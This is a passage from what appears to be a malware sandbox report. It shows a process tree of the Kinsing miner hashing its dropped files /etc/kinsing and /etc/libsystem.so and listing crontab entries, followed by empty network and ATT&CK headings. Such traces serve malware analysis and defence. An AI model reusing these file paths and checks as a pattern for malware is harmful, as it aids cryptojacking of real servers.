                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                md5sum /etc/kinsing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:479
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:480
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    md5sum /etc/kinsing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:486
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:487
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:491
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          md5sum /etc/libsystem.so
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:490
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            md5sum /etc/libsystem.so
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:497
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:498
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                md5sum /etc/libsystem.so
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:505
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:688

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Downloads